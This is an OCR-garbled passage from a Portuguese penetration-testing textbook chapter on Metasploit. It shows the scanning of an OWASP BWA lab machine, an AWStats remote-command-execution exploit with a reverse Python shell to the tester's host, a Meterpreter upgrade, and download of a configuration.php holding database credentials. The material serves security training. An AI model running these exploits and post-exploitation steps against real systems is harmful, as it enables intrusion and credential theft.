e Moddulo auxiliar: os scripts do moédulo auxiliar nao
requerem que sejam adicionados payloads para compor
suas agoes. Esses modulos incluem scripts muito tteis para
escanear a aplicagdo, encontrar arquivos, verificar versoes,
entre outras tarefas. Vocé, como profissional de segurancga,
pode usar diversos scripts desse modulo para obter uma
compreensao profunda do sistema alvo e, em seguida,
planejar a sua exploragio.

e Moédulo de exploragao (exploit): os scripts do médulo de
exploragdo também podem ser chamados de exploits. Com
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eles, o atacante podera tentar explorar uma vulnerabilidade
no sistema. No entanto, apenas o exploit ndo é o suficiente,
pois ele ¢ como se fosse um passo a passo para a
exploragdo. Junto ao moddulo de exploragao temos que
adicionar um payload, que vai representar a agdo que sera

feita no alvo apos o sucesso da exploracao.

Moddulo de payloads: como dito nos comentarios sobre os
modulos de exploragdo, ao usar um exploit é necessario um
payload, e este mdédulo contém esse conjunto de scripts. O
payload nao necessariamente vai ser um shellcode que lhe
oferece o controle total do alvo, pois vocé pode querer
apenas uma prova de conceito, como a execugdo de uma
calculadora ou a captura de uma flag. Existem diversos
tipos de payloads possiveis, sendo o mais famoso deles o
Meterpreter, um payload que pode lhe oferecer um
conjunto de possibilidades ao ser inserido no alvo.

Modulo de ofuscagao (encoder): este mdédulo é constituido
por diversos scripts que vao trabalhar em cima do payload.
E opcional e é utilizado, geralmente, quando se pretende
disfarcar a agdo e ndo ser pego por ativos de seguranca.
Também pode ser usado quando existe a chance de algum
caractere usado causar um tipo de incompatibilidade.

Moddulo de pos-exploragao (post): os scripts desse modulo
serdo utilizados apos a explora¢io inicial e a obtengdo de
um terminal do alvo. A pods-exploragio refere-se a
quaisquer acgoes realizadas apods a abertura de uma sessao.
Algumas das agdes que vocé pode realizar em uma sessao
aberta, com o uso do mddulo de pds-explora¢io, incluem:
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coleta de informagdes do sistema, pivoteamento, escalar
privilégios.

e Moédulo servidor (handler): este moédulo traz alguns
manipuladores especificos dentro da estrutura Metasploit
que interagem com as sessdes estabelecidas. Com isso, o
Metasploit se transforma em um tipo de servico, onde ele
fica esperando conexdo. Essas conexdes sdo geralmente
oriundas de explora¢do com shell reverso, conforme vimos
em capitulos anteriores.

Existem também outros mddulos no Metasploit, que nio sao
tao famosos quanto esses, como o de engenharia social e nops. Esse
entendimento de mddulos é o basico para utilizar o framework,
porque usaremos esses conceitos durante todos os processos

dentro dos testes de invasdo que fizermos.

10.2 COMO UTILIZAR O METASPLOIT

Na verdade, a interface padrdo oferecida pelo Metasploit é
como se fosse um outro terminal de comandos. Entdo, como pode
se imaginar, ele tem seus proprios comandos que executam agdes
especificas dentro do framework. Para comecar a utiliza-lo, abra o
terminal do Kali com o usudrio root e digite o comando

msfconsole .
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:~# msfconsole

ds, dsp
“BP dB883388p
788"
dsp ?8b 88P
d8P d88ssb $whi?88b 88b
788, .d88b, d88 dsP' 788 88P “78b
*788' 788 788 88b d88 d88
88b dsP 88b 78888P'
888888P'  88n

metasploit v
2014 exploits - 1097 aux111ary - 343 post

+ — —=

[
—=[
—=[ 562 payloads - 45 encoders - 1@ nops
[ 7 evasion

Metasploit tip: View missing module options with sk

msf5 > I

Figura 10.1: Tela inicial Metasploit.

Essa é a tela inicial do Metasploit. Para vocé, podera aparecer
um terminal com o desenho e quantidades de scripts diferentes,
nao se preocupe, pois isso é normal. Como vimos na segdo
anterior, o Metasploit é composto por modulos e essas quantidades
sao relativas a versdo. Para ver os scripts pertencentes a cada
modulo vocé poderd usar o comando show [MODULO] , com o
nome do modo que deseja ver. Vamos dar uma olhada nos

encoders com o comando show encoders .
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> show

all show exploits show payloads
auxiliary show nops show plugins
encoders show options show post

> show encoders

Disclosure D

cmd/brace
manual No Bash Brace Expansion Command
Encoder
1 cmd/echo
manual No Echo Command Encoder

Figura 10.2: Sugestao de comandos.

Como uma boa dica, ao digitar a primeira parte do comando,
por exemplo, apenas o show , vocé poderd teclar tab duas vezes
e 0 Metasploit lhe dara dicas para completar o comando, conforme
a figura acima na primeira parte.

O Metasploit possui um conjunto de comandos que permitem
interagir com o terminal dele. A lista completa de comandos pode
ser visualizada com o comando help . Basicamente, eles seguem a
mesma regra de uso. Durante o capitulo, usaremos varios deles
para nossas exploragdes e buscas, com isso poderemos assimilar
muito mais dessa grande ferramenta.

10.3 RECONHECIMENTO WEB COM
METASPLOIT

Como visto no decorrer do livro e também nas metodologias
de teste de invasdo apresentadas, a fase de reconhecimento ¢,
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geralmente, a primeira etapa dos trabalhos. Bom, o Metasploit nao
nos deixara sozinhos nessa etapa, pois ele possui um conjunto
completo de scripts que fazem parte do modo auxiliar.

Os scripts no Metasploit sao divididos por diretérios internos.
Utiliza-se o comando wuse para navegar entre eles e para
selecionar um script ao final. Essa visualizacao de diretorios é feita
por meio das sugestdes para o comando, entdo vamos usar a dica
de digitar o comando use eteclar tab duas vezes.

msf5 > use
Display all 4878 possibilities? (y or n)li

Figura 10.3: Muitas sugestoes para o comando use.

Na raiz, parece que vai ficar um pouco complicado completar o
comando, de tantas op¢des que existem. No entanto, nesse
momento, queremos ver os modos auxiliares e apenas o que nos
interessa para a web, que esta em auxiliary/scanner/http/
Apesar de nao ser o unico diretorio dentro de script auxiliares que
podemos usar para um teste web, uma grande parte estd nele e o
usaremos mais. Entdo vamos 14, digite o comando use
auxiliary/scanner/http/ etecle tab duasvezes.
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msf5 > use auxiliary/scanner/http

Display all 258 possibilities? (y or n)

use auxiliary/scanner/http/al@networks_ax_director
y_traversal

use auxiliary/scanner/http/accellion_fta_statecode
_file_read

use auxiliary/scanner/http/adobe_xml_inject

use auxiliary/scanner/http/advantech_webaccess_log
in

use auxiliary/scanner/http/allegro_rompager_misfor
tune_cookie

use auxiliary/scanner/http/apache_activemq_source_
disclosure

use auxiliary/scanner/http/apache_activemq_travers
al

use auxiliary/scanner/http/apache_mod_cgi_bash_env
use auxiliary/scanner/http/apache_optionsbleed

use auxiliary/scanner/http/apache_userdir_enum

use auxiliary/scanner/http/appletv_login

Figura 10.4: Sugestoes de scanners HTTP.

Aqui estdo os scripts usados para reconhecimento web dentro
do Metasploit. Agora vamos trabalhar com alguns para aumentar
nossos conhecimentos e dominio sobre o framework.

Reconhecendo CMSs

7

Um CMS (Content Management System) é um sistema de
gerenciamento de conteudo que funciona em forma de aplicagdo
web. Esses sistemas proporcionam aos seus usuarios a
possibilidade de criar, gerenciar e modificar o conteiido de um site
sem a necessidade de conhecimento técnico em linguagens de
programagao.

Ja sabemos que na URL http://10.0.0.1/joomla/ tem um CMS
Joomla, entdo vamos olhar se algum script come¢a com a palavra
"joomla" dentro do diretdrio auxiliary/scanner/http/ .
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msf5 > use auxiliary/scanner/http/joomla_
use auxiliary/scanner/http/joomla_bruteforce_login
use auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner

use auxiliary/scanner/http/joomla_gallerywd_sqli_scanner
use auxiliary/scanner/http/joomla_pages

use auxiliary/scanner/http/joomla_plugins

use auxiliary/scanner/http/joomla_version

Figura 10.5: Sugestoes para Joomla.

Parece que temos algumas opg¢des bem interessantes, vamos
testar essa ultima que vai nos mostrar a versao do Joomla. Digite o
comando use auxiliary/scanner/http/joomla_version e
tecle enter . Apos isso, digite o comando show options para
vermos as opgdes que esse script nos dd e o que precisamos
preencher, se for o caso.

msf5 auxiliary( > show options
Module options (auxiliary/scanner/http/joomla_version):

Name Current Setting Required Description

Proxies A proxy chain of format
type:host:port[,type:host:port][ ... ]

RHOSTS yes The target host(s), rang
e CIDR identifier, or hosts file with syntax 'file:<path>'

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for ou
tgoing connections

TARGETURI / yes The base path to the Joo
mla application

THREADS 1 yes The number of concurrent

threads (max one per host)
VHOST no HTTP server virtual host

Figura 10.6: Opg¢des Joomla_version.

Nessa figura, estao todas as op¢des e uma breve descrigao sobre
elas, em inglés. Vamos nos atentar para a parte que diz sobre
required , pois, se essa opgdo estiver marcada como sim ,

precisaremos fornecer o valor caso nao tenha nenhum atrelado a
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€ssa opgao.

A primeira op¢do que vamos precisar preencher é a RHOSTS ,
porque essa opc¢ao faz referéncia ao nosso alvo. O padrdo para
atribuir um valor para a opgao no Metasploit ¢ usar o comando
set passando a opgdo e o valor seguidamente, desta forma: set
[opgdo] [valor] . Com isso, vamos atribuir o valor 10.0.0.1

para a opgao RHOSTS .

msf5 auxiliary( ) > set RHOSTS 10.0.0.1

RHOSTS = 10.0.0.1

Figura 10.7: Valor para o RHOST.

Feito isso, seguindo a mesma ordem, vamos atribuir os valores

de TARGETURI , porque se deixarmos o padrdo, que é / , o

escaneamento sera feito na raiz, como se tivéssemos colado o link

http://10.0.0.1/. Sabemos que na raiz ndo tem Joomla, pois ele esta

em http://10.0.0.1/joomla/. Entdo, como ji colocamos o IP em
RHOSTS , essa opgao deve conter o /joomla .

msf5 auxiliary( ) > set TARGETURI /joom

la
TARGETURI = /joomla

Figura 10.8: Valor para o TAGETURIL.

Agora temos todas as op¢des compativeis com o nosso alvo
preenchidas. Note que existem outras opgdes, como SSL, Proxies,
Vhosts, que ndo fazem parte da nossa necessidade. No entanto,
vocé pode trabalhar com THREADS caso queira mais de uma
requisicdo em paralelo.

Para comegar a varredura, vocé pode apenas digitar o comando
run ou exploit e aguardar o resultado.
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http://10.0.0.1/joomla/

msf5 auxiliary( > exploit

Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubun
tu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Pytho
n/2.6.5 mod_ssl1/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mo

d_perl/2.0.4 Perl/v5.10.1

[+] Joomla version: 1.5.15
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

Figura 10.9: Versao do Joomla.

Veja que a ferramenta nos trouxe a versao exata utilizada.
Como esses scripts, existem varios outros. Uma boa dica é usar o
comando use como fizemos, comegando com o que queremos.
Por exemplo, além de comecar com Joomla, poderiamos comegar
por wordpress e clicar duas vezes tab para completar e ver o que
tem para usar. E assim que vocé podera continuar usando o poder
dos moédulos auxiliares na maquina OWASP BWA para treinar as
suas habilidades.

Além disso, a ferramenta ainda nos trouxe a versio de varios
moddulos do servidor web utilizado. Guarde essa informacdo
também, pois isso é muito util para o teste de invasao.

Mapeamento de diretdrios e arquivos

No capitulo sobre reconhecimento, nés conhecemos
ferramentas, como o Gobuster, para fazer busca de arquivos que
ndo estdo linkados dentro do servidor. Com essa mesma func¢io, o
Metasploit possui o auxiliary/scanner/http/brute_dirs e o

auxiliary/scanner/http/ files_dir . Vamos fazer primeiro a
varredura a  procura de  diretérios  ocultos  em
http://10.0.0.1/tikiwiki/. Para isso, digite

auxiliary/scanner/http/brute_dirs e configure suas opgoes
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conforme a figura a seguir.

msf5 auxiliary( ) > use auxiliary/scanner/http/brute_dirs
msf5 auxiliary( ) > set RHOSTS 10.0.0.1

RHOSTS = 10.0.0.1

msf5 auxiliary( ) > set PATH /tikiwiki/

PATH = /tikiwiki/
msf5 auxiliary( ) > set VERBOSE false
VERBOSE = false

Figura 10.10: Script de forca bruta.

Nesse script de for¢a bruta, em busca de diretdrios,
configuramos duas opgdes, uma nova e a outra nem tanto. A opgao
PATH tem a mesma fun¢do que a op¢do TARGETURI , a diferenca é
que esse script aceita o valor para essa acdo apenas pela opc¢ao
PATH . A op¢do VERBOSE , por padrdo, vem como true , e nds
atribuimos false , pois assim o Metasploit imprimira na tela cada
tentativa do script de sucesso ou falha e isso pode nos fazer perder
os casos de sucesso de vista. Agora digite o comando run e vejao
resultado.
msf5 auxiliary( ) > run
Using code '484' as not found.

[+] Found http://10.0.0.1:80/tikiwiki/db/ 302
[+] Found http://10.0.0.1:80/tikiwiki/doc/ 302

[+] Found http://10.0.0.1:80/tikiwiki/img/ 302

[+] Found http://10.0.0.1:80/tikiwiki/1ib/ 302
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

Figura 10.11: Alguns diretérios.

O mesmo script oferece mais opgdes que podem ser
configuradas caso vocé queira resultados mais proximos da
situacdo real do servidor. No entanto, o script na forma mais
basica ja nos deu a possivel existéncia dos diretérios db e doc .
Em uma situagdo real, diretdrios como esses podem nos fornecer
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muita informacao.

Agora, para complementar nossas buscas, também ¢
interessante realizar o mesmo procedimento para encontrar
arquivos. Nesse caso, vamos usar o /http/brute_dirs e o

auxiliary/scanner/http/ files_dir . Na verdade, esse
segundo script busca tanto diretérios como arquivos. Entao vocé
deve se perguntar "Por que usar o primeiro se podemos matar dois
coelhos com uma cajadada s6?". Na verdade, o primeiro trabalha
com for¢a bruta do modo puro, ou seja, ndo precisa de um
dicionario, ja o files_dir precisa. Mas isso ndo é mais um
problema para noés, ndo é? Vamos usa-lo para ver o resultado.
Primeiro fa¢a as seguintes configuragdes:

msf5 auxiliary( ) » use auxiliary/scanner/http/files_dir
msf5 auxiliary( ) > set RHOSTS 10.0.0.1

RHOSTS = 10.0.0.1

msf5 auxiliary( ) » set PATH /tikiwiki/

PATH = /tikiwiki/
msf5 auxiliary( ) > set VERBOSE false
VERBOSE = false

Figura 10.12: Script files_dir.

Veja que as opgdes preenchidas podem ser as mesmas, sem
dificuldade alguma. Por padrao, a wordlist que sera utilizada é a
/usr/share/metasploit-
*framework*/data/wmap/wmap_files.txt , mas, caso queira
trocar, basta passar o caminho da nova wordlist para a opgao
DICTIONARY . Agora, vamos executar esse script e ver o que ele
pode nos trazer.
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not found for files with extension .
not found for files with extension .
not found for files with extension .
not found for files with extension .
not found for files with extension .
not found for files with extension .
not found for files with extension .
not found for files with extension .
not found for files with extension .
not found for files with extension .
not found for files with extension .
.1:80/tikiwiki/about.php 382
p.1:88/tikiwiki/help.php 200
.1:80/tikiwiki/index.php 302
.1:80/tikiwiki/remote.php 200
.1:80/tikiwiki/xmlrpc.php 200

Figura 10.13: Arquivos encontrados.

Como pode ser notado, o script ndo encontrou arquivos com
algumas extensdes, mas com php ele foi capaz de mapear alguns.
Isso é importante, pois podemos descobrir funcionalidades
vulneraveis que ndo estdo linkadas e explorar. No entanto, nao foi
apenas isso, 0 mesmo script também nos deu algumas informagoes
sobre diretérios.
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not found for files with extension
:80/tikiwiki/about 302
:80/tikiwiki/backups 301
:80/tikiwiki/db 301
1BB/tikiwiki/doc 301
:80/tikiwiki/dump 301
:80/tikiwiki/files 301
:80/tikiwiki/games 301
:80/tikiwiki/images 301
:B0/tikiwiki/help 200
:B0/tikiwiki/img 301
:80/tikiwiki/index 302
:B0/tikiwiki/1ib 301
:80/tikiwiki/modules 301
:80/tikiwiki/remote 200
:80/tikiwiki/setup 200
:80/tikiwiki/templates 301
:80/tikiwiki/temp 301
:80/tikiwiki/xmlrpc 200

0.
0.
0.
0.
.0.
.0.
.0.
.0.
0.
0.
0.
0.
.0.
.0.
.0.
.0.
0.
0.

T e gt

Figura 10.14: Outros diretérios encontrados.

Note que o script files_dir nos trouxe mais resultados que
o primeiro utilizado. Sabemos que essa ¢ uma das vantagens de se
usar wordlist, mas estamos limitados ao conteudo da lista, entao
podemos utilizar os dois scripts conforme nossas necessidades
para o teste de invasao.

10.4 ENCONTRANDO SCRIPTS USUAIS NO
METASPLOIT

Para fazer buscas por scripts no Metasploit, por exemplo, os

que afetam uma tecnologia especifica, podemos usar o comando

search . Vamos ver as opgdes disponiveis para esse comando
digitando search -h.
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msf5 > search -h
Usage: search [<options>] [<keywords>:<value>]

Prepending a value with '-' will exclude any matching results.
If no options or keywords are provided, cached results are displayed.

OPTIONS:
-h Show this help information
-0 <file> Send output to a file in csv format
=S <string> Regex pattern used to filter search results
-u Use module if there is one result

Keywords:
aka : Modules with a matching AKA (also-known-as) name
author : Modules written by this author
arch : Modules affecting this architecture
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
check : Modules that support the 'check' method
date : Modules with a matching disclosure date
description : Modules with a matching description
fullname : Modules with a matching full name
mod_time : Modules with a matching modification date

Figura 10.15: Ajuda do comando search.

Repare que podemos fazer buscas avancadas com esse
comando. Um exemplo de uso normal é apenas search apache
2.2.14 . Esse comando nos trard tudo o que poderemos utilizar
nesse contexto. Mas também poderemos fazer uma busca mais
completa passando, por exemplo, search type:auxiliary
apache 2.2.14 . A adi¢do da opgdo type:auxiliary é para o
caso de buscas por scripts auxiliares.
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msf5 > search type:auxiliary apache 2.2.14

Matching Modules

# Name Disclosur
e Date Rank Check Description

auxiliary/admin/appletv/appletv_display_video

normal No Apple TV Video Remote Control
auxiliary/admin/http/tomcat_administration

normal No Tomcat Administration Tool Default Access

auxiliary/admin/http/tomcat_utf8_traversal 2009-01-0
normal No Tomcat UTF-8 Directory Traversal Vulnerability

auxiliary/admin/http/trendmicro_dlp_traversal 2009-01-0
normal No TrendMicro Data Loss Prevention 5.5 Directory Trave

auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-0
normal No Apache Commons FileUpload and Apache Tomcat DoS
auxiliary/dos/http/apacheé _mod_isapi 2010-03-0
normal No Apache mod_isapi Dangling Pointer
auxiliary/dos/http/apaché_range_dos 2011-08-1
normal No Bpache Range Header DoS (Apaché Killer)
auxiliary/dos/http/apaché_tomcat_transfer_encoding 2010-07-0

Figura 10.16: Busca avangada com search.

Essas buscas acontecem nas informagdes dos scripts. Caso eles
contenham o nosso termo de busca, o comando search nos
apresentard. Portanto, esse comando ¢ muito importante,
principalmente quando formos explorar softwares em versdo
especifica.

Vocé também pode buscar e utilizar algum script na internet
caso ele ndo venha no Metasploit por padrdo. Para isso, vocé
devera posiciona-lo em algum lugar dentro do diretério de
moédulos do Metasploit em /usr/share/metasploit-
framework/modules/ . Feito isso, ele estara acessivel pelo terminal
do framework e, no comando use , vocé devera usar a mesma
sequéncia de caminho que estd no sistema operacional.
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10.5 EXPLORACAO WEB COM METASPLOIT

Esta é considerada a parte mais atraente e prazerosa do uso do
framework. Quando fazemos isso e vemos que o controle do
servidor estd em nossas maos, é sempre uma felicidade. O fato de
elaborar um relatério e nele conter figuras que fazem alusido ao
poder que um hacker teria quando explorasse uma vulnerabilidade
¢ de alto valor para qualquer organizagao.

Com a exploragio no Metasploit, vocé conseguird uma
interface agradavel para manipular a conexdo com o servidor e,
como veremos mais a frente, com o uso do Meterpreter, que é um
payload superespecial, terd varias fun¢des prontas e usuais para
aumentar a agilidade na exploragdo. A seguir veremos algumas
formas de explorar usando o médulo de exploit do Metasploit.

A maquina OWASP BWA é bem vulneravel, todos os seus
sistemas sdo obsoletos e com vulnerabilidades. Para explorar uma
vulnerabilidade conhecida, basta acessarmos um de seus sistemas e
pegarmos as informacdes de que o exploit precisara para fazer a
exploracao.

Para essa exploragdo, usaremos o AWStats, que é uma
ferramenta gratuita para geragdo de estatisticas avancadas da web.
A versao utilizada pela OWASP BWA com certeza é vulneravel e
vamos explord-la. Para acessar essa ferramenta, use a URL:
http://10.0.0.1/awstats/awstats.pl?config=owaspbwa.
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http://10.0.0.1/awstats/awstats.pl?config=owaspbwa

Last Update: MNever updated (See 'Build/Update’ on awstats_

Reported period: Jul v 2021 v || OK

Summary
Reported period Month Jul 2021

Figura 10.17: AW Stats.

Note bem os detalhes da pagina, pois um dos exploits pode nos
pedir. Agora vamos procurar por um que explore esse sistema com
o comando search .

type:explolt awstats

Matching Modules

Disclosure Date Rank
Check Description

exploit/unix/webapp/awstats_configdir_exec  2005-01-15
Yes AWStats configdir Remote Command Execution
exploit/unix/webapp/awstats_migrate_exec 2006-05-04
Yes AWStats migrate Remote Command Execution
exploit/unix/webapp/awstatstotals_multisort 2008-08-26
Yes AWStats Totals multisort Remote Command Execution

Figura 10.18: Exploits disponiveis para AW Stats.

Parece que encontramos quatro possibilidades. Em uma acéo
real, teriamos que testar uma por uma até encontrar a que
realmente funcionasse para exploragdo do sistema. Vocé podera
fazer isso, mas para poupar esse esfor¢o adianto que o exploit ideal
¢ o de numero trés. Sabendo disso, use o comando use
exploit/unix/webapp/awstats_migrate_exec para seleciond-
lo. Depois da selegdao do exploit, temos que preencher suas opgdes

conforme a figura a seguir.
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msf5 > use exploit/unix/webapp/awstats_migrate_exec

msf5 exploit( )} » set rhosts 10.90.08.1
rhosts = 10.0.0.1

msf5 exploit( ) > set awsite owaspbwa
awsite = owaspbwa

msf5 exploit( ) » set uri /awstats/awstats.
pl

uri = fawstats/awstats.pl

msf5 exploit( N |

Figura 10.19: Configura¢io do exploit para AW Sstats.

Para ver o que o exploit estd pedindo, digite show options .
Apos isso, algumas opgdes devem ser preenchidas: em RHOST , o
IP do nosso alvo; em awsite , o nome da aplicagao monitorada,
que na URL aparece como valor do pardmetro config ; e a URL
para a pagina principal. Agora, com essas configuragdes feitas, sera
que ja podemos executar? Espere um pouco, pois vamos falar mais
dos payloads.

O payload ¢ a agdo que vamos realizar no alvo, e temos
algumas opgoes que o mddulo de payloads do Metasploit oferece
para esse nosso caso. Para visualizar as opgdes para esse caso, use o
comando show payloads .
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Name

cmd/unix/bind_perl
cmd/unix/bind_perl_ipvé
cmd/unix/bind_ruby
cmd/unix/bind_ruby_ipvé
cmd/unix/generic
cmd/unix/reverse
cmd/unix/reverse_bash
cmd/unix/reverse_bash_telnet_ssl
cmd/unix/reverse_perl
cmd/unix/reverse_perl_ssl
cmd/unix/reverse_python
cmd/unix/reverse_python_ssl
cmd/unix/reverse_ruby
cmd/unix/reverse_ruby_ssl
cmd/unix/reverse_ssl_double_telnet

#
0
1
)
3
&
5
6
7
8
9

Figura 10.20: Exibigao dos possiveis payloads.

Observe que todos os payloads disponiveis para uso trazem
como resultado o controle do terminal de comandos do alvo.
Agora, temos que escolher um desses, mas, como no caso do
exploit, pode ser que um nio funcione e tenhamos que tentar
outros. Vamos comecar entdo com um deles, o comando set
payload cmd/unix/reverse_python . Esse payload serd do tipo
reverso e é construido usando a linguagem Python.

E agora, podemos executar? Calma novamente. Os payloads
também nos solicitam opg¢des, vamos executar agora o comando
show options novamente e ver se esse payload pede algumas.

Payload options (cmd/unix/reverse_python):

Name Current Setting Required Description

LHOST The listen address (an interface may be specified)
LPORT yes The listen port
SHELL /bin/bash CH The system shell to use.

Figura 10.21: Opgoes do payload.
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As opgoes pedidas pelo payload incluem a porta de conexdo e o
shell que sera utilizado, no entanto essas informagdes ja estao
preenchidas. A unica op¢ao faltante ¢ LHOST , onde devemos
indicar qual o IP do nosso Kali, pois é ele que recebera o shell

remoto. Para configurar, use set lhost 10.0.0.2.

E agora, podemos rodar? Agora sim, pode! Use o comando

exploit ou run para executar a exploragao.

msf5 exploit( )} > run

Started reverse TCP handler on 10.0.0.2:4444

Command shell session 2 opened (10.0.0.2:&4444 — 10.0.0.1:40864) at 20
21-87-12 14:58:36 -0400

No response from the server

whoami
waw -data
pwd

/tmp

Figura 10.22: Shell reverso obtido.

Caso esteja tudo correto, vocé recebera o terminal de
comandos como na figura acima. Ele estd um pouco "feio", mas
esta funcional. Nele, vocé pode usar quaisquer comandos do
sistema operacional. Para colocar essa sessio em segundo plano,
vocé podera usar o CTRL + Z e na hora de recupera-la vocé deve

usar 0 session -i [ID] .

Agora vamos transformar esse shell com poucas
funcionalidades em um Meterpreter. O Meterpreter é um payload
que tem muitas funcionalidades e veremos sobre ele mais adiante.
Para esse momento, basta vocé saber melhorar o seu shell. Para
isso, use 0 CTRL + Z e jogue o shell para o segundo plano.

Depois disso, use o comando session -1 para listar as
sessOes que vocé tem. Cada sessdo é uma conexao, pois vocé pode
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explorar diversos sistemas e manté-los a0 mesmo tempo
conectados a vocé. Vocé devera ver algo similar a isso:

Id Name Type Information
Connection

shell cmd/unix

10.0.0.2: 4444 — 10.0.0.1:40864 (10.0.0.1)

Figura 10.23: Listagem da sessdo.

Para fazer o upgrade da sessdo, use o comando session -u
[ID] . O id pode ser diferente do que estd na figura, entdo passe o
valor correto para seu caso e veja o resultado.
msf5 exploit( ) » sessions -u 2

Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [2]

Upgrading session ID: 2
Starting exploit/multi/handler

Started reverse TCP handler on 10.0.0.2:4433

Sending stage (980808 bytes) to 10.0.08.1

Meterpreter session 3 opened (10.0.0.2:4433 — 10.0.0.1:59852) at 2021
-87-12 15:04:59 -0400

Command stager progress: 100.00% (773/773 bytes)

Figura 10.24: Upgrade da sessao.

O session -u [ID] nada mais faz do que usar um dos
moddulos de pos-exploragdo para melhorar o shell convertendo-o
em um shell com mais recursos. O resultado serd a abertura de
uma nova sessio com o numero do seu ID atual + 1, que podera
ser visto com o comando session -1 . Sendo assim, use o
comando session -i [ID DA NOVA SESSAO] para entrar.
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mst5 exploit( ) > sessions -i 3
Starting interaction with 3 ...

meterpreter > |

Figura 10.25: Sessdo com shell melhorado.

Conseguir trocar o tipo de shell é muito importante para a
usabilidade do terminal remoto durante os testes de invasdo. As
vezes ¢ dificil trabalhar com um shell de poucas fungdes e
pensando no aumento da performance dos testes, o Metasploit ja
nos trouxe uma op¢ao bem facil de usar e que a0 mesmo tempo é
eficaz. Apenas com alguns comandos simples, como visto,
podemos converter o terminal e usar um shell bem mais poderoso.

10.6 O FAMOSO METERPRETER

Na nossa ultima explorag¢ao, tivemos contato com um payload
chamado Meterpreter. Como ele é famoso, talvez vocé ja tenha
ouvido falar dele e das suas funcionalidades, mas se nao, ndo tem
problema porque vamos fazer uma abordagem bem bacana sobre
ele para entender como ele trard eficiéncia aos seus testes de
invasdo.

7

Com ja falado, o Meterpreter é um payload usado no
Metasploit que fornece um terminal remoto customizado pelo qual
o profissional de seguranca ofensiva pode usar o terminal de um
sistema alvo. O Meterpreter usa técnicas que o permitem
permanecer inteiramente na memoria e, sendo assim, ndo grava
nada no disco. Além disso, ele se camufla dentro de outro processo
e, ja que nenhum processo novo ¢ criado, torna-se de mais dificil
deteccio.
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Para isso, vamos aproveitar a sessdo ja aberta na exploragao
feita anteriormente, onde fizemos o upgrade de um terminal
simples para um terminal Meterpreter. Em grande parte dos casos,
vocé podera selecionar o Meterpreter como payload direto, no
entanto é fundamental que vocé saiba realizar o procedimento de
upgrade.

Entdo vamos colocar a mdo na massa para vocé ter uma boa
nogdo dessa ferramenta. O primeiro passo sempre é saber quais
opgdes estao disponiveis e, para isso, digite o comando help .

meterpreter > help

Core Commands

Command Description

? Help menu
background Backgrounds the current session

Alias for background

Kills a background meterpreter script

Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or centrol active channels
close Closes a channel

Figura 10.26: Opgoes do Meterpreter.

Ao rolar para cima e para baixo, vocé pode ver a quantidade de
funcdo que o Meterpreter pode oferecer. No escopo deste livro,
estd incluido apenas um panorama geral, pois nao seria possivel
abordar tudo apenas em um capitulo.

Para comegar, vocé pode acessar o terminal de comandos
convencional com o comando shell . Isso pode ser importante
para algumas situagdes.
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meterpreter > shell
Process 1938 created.

Channel 3 created.

whoami

www —-data
e
Terminate channel 37 [y/N] vy

meterpreter > |

Figura 10.27: Shell.

Para sair, basta usar o CTRL + C e digitar y . Agora veremos
um pouco de pos-exploragdo. Podemos entrar na estrutura de um
sistema web e baixar algum arquivo de nosso interesse que tenha
senhas, por exemplo, o de conexdo com o banco de dados. Para
isso, digite o comando cd /var/www/joomla para entrar no
diretério do CMS Joomla e, apds isso, digite  download

configuration.php .

meterpreter > cd /var/www/joomla
meterpreter > download configuration.php
Downleoading: configuration.php — /root/configuration.php

Downloaded 1.79 KiB of 1.79 KiB (100.0%): configuration.php — /root/configuration.php
download : configuration.php — /root/configuration.php
meterpreter > ||

Figura 10.28: Download de arquivos.

Além de baixar, podemos fazer upload de arquivos para os
servidores. Vamos fazer um upload para o diretério do DVWA,
entdo use o comando cd /var/www/dvwa para entrar no
diretdrio e digite o comando upload Desktop/ransoware.php ,
mas antes crie algum arquivo com esse nome na sua area de
trabalho. O nome ransoware foi s6 um exemplo, pois pode ser
qualquer arquivo.
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meterpreter > cd /var/ww/dvwa
meterpreter > upload Desktop/ransoware.php
uploading : /root/Desktop/ransoware.php — ransoware.php

Uploaded -1.0@ B of 1.03 KiB (-0.@9%): /root/Desktop/ransoware.php — ransoware.php
uploaded : /root/Desktop/ransoware.php — ransoware.php
meterpreter >

Figura 10.29: Upload de arquivos.

Também é possivel conseguir informagdes do sistema apenas
com o comando sysinfo .

meterpreter > sysinfo
Computer 1 10.0.0.1

0S : Ubuntu 10.04 (Linux 2.6.32-25-generic-pae)
Architecture : 1686

BuildTuple : 1486-linux-musl

Meterpreter : x86/linux

meterpreter > |

Figura 10.30: Comando info.

Caso queira, pode também procurar por um arquivo no
sistema operacional que contenha um texto especifico como
composicao do seu nome. Para isso, use, por exemplo, o comando

search -d /var/www/ -f *conf*..O sinal de * informa que
o texto antes e depois pode ser qualquer um, o nico requisito é a
presenca do texto conf .

meterpreter > search -d /var/wwmw/ -f xconfx

Found 112 results...
/var/wwmi/gallery2/config.php (7470 bytes)
/var/ww/bricks-working-but-not-from-svn/config (4096 bytes)
/var/wwm/peruggia/conf.php (1861 bytes)
/var/ww/phpBB2/config.php (277 bytes)

/var/wwm/tikiwiki/tiki-config_pdf.php (3664 bytes)
/var/ww/gtd-php/config.php (133 bytes)
/var/wwms/gtd-php/config.sample.php (127 bytes)
/var/ww /wordpress/wp-config-sample.php (887 bytes)
/var/ww /wordpress/wp-config.php (917 bytes)

Figura 10.31: Busca de arquivos de configuragoes.
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Viu como o Meterpreter pode nos ajudar muito? A partir desse
basico, vocé podera buscar muito mais informag¢des com dominio
da estrutura desse payload poderoso. O Meterpreter também é
usado para gravar webcam e microfones, tirar prints, e diversas
outras funcionalidades muito tteis dependendo da ocasido. Esse é
o caminho das pedras.

10.7 EXPLORACAO COM MSFVENON

Na maioria das vezes, ndo vamos explorar um sistema publico
ou que pode ser baixado na internet e sim, um sistema
desenvolvido para um caso especifico por uma organizagdo. Nesse
